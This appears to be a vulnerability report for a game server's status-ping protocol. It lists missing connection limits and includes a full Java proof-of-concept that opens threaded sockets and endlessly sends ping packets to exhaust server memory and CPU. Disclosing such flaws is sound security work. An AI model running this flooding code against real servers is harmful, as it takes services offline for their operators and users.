Server Vulnerable to DoS Via Status Requests
The client ping connection should have the following restrictions impossed:
- MOTD can be requested once (and before ping time)
- Ping time can only be requested once, and the connection is closed afterwards.
- If either of these is requested out of order or for a second time the connection should be closed.
The server is vulnerable to a simple DoS if these safeguards are not put in place, as when a socket is unwriteable pending message data will be stored in memory. We can abuse this to send a two byte request for kilobyte(s) of memory use:
package serverlistping; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.net.Socket; public class ServerListPing extends Thread { private final InetSocketAddress host; public ServerListPing(InetSocketAddress host) { this.host = host; } @Override public void run() { try { Socket socket = new Socket(); socket.connect(host); DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); ByteArrayOutputStream handshakeBytes = new ByteArrayOutputStream(); DataOutputStream handshake = new DataOutputStream(handshakeBytes); handshake.writeByte(0x00); // packet id writeVarInt(handshake, 4); // protocol version writeVarInt(handshake, 15); // host length handshake.writeBytes("DoS PoC by md_5"); // host string handshake.writeShort(1337); // port writeVarInt(handshake, 1); // handshake state writeVarInt(dataOutputStream, handshakeBytes.size()); // handshake size dataOutputStream.write(handshakeBytes.toByteArray()); // handshake packet while (true) { dataOutputStream.writeByte(0x01); // size dataOutputStream.writeByte(0x00); // ping } } catch (IOException ex) { System.err.println(getName() + " died: " + ex.getClass().getName() + ":" + ex.getMessage()); } } public static void main(String[] args) { for (int i = 0; i < 3; i++) { new ServerListPing(new InetSocketAddress("localhost", 25565)).start(); } } private static void writeVarInt(DataOutputStream out, int i) throws IOException { while (true) { if ((i & 0xFFFFFF80) == 0) { out.writeByte(i); return; } out.writeByte(i & 0x7F | 0x80); i >>>= 7; } } }
It doesn't take long for the server to be rendered useless by CPU, memory, or garbage collection.
2015-06-05, 03:35 PM
2015-07-27, 08:16 PM
2015-07-22, 04:12 PM
0
2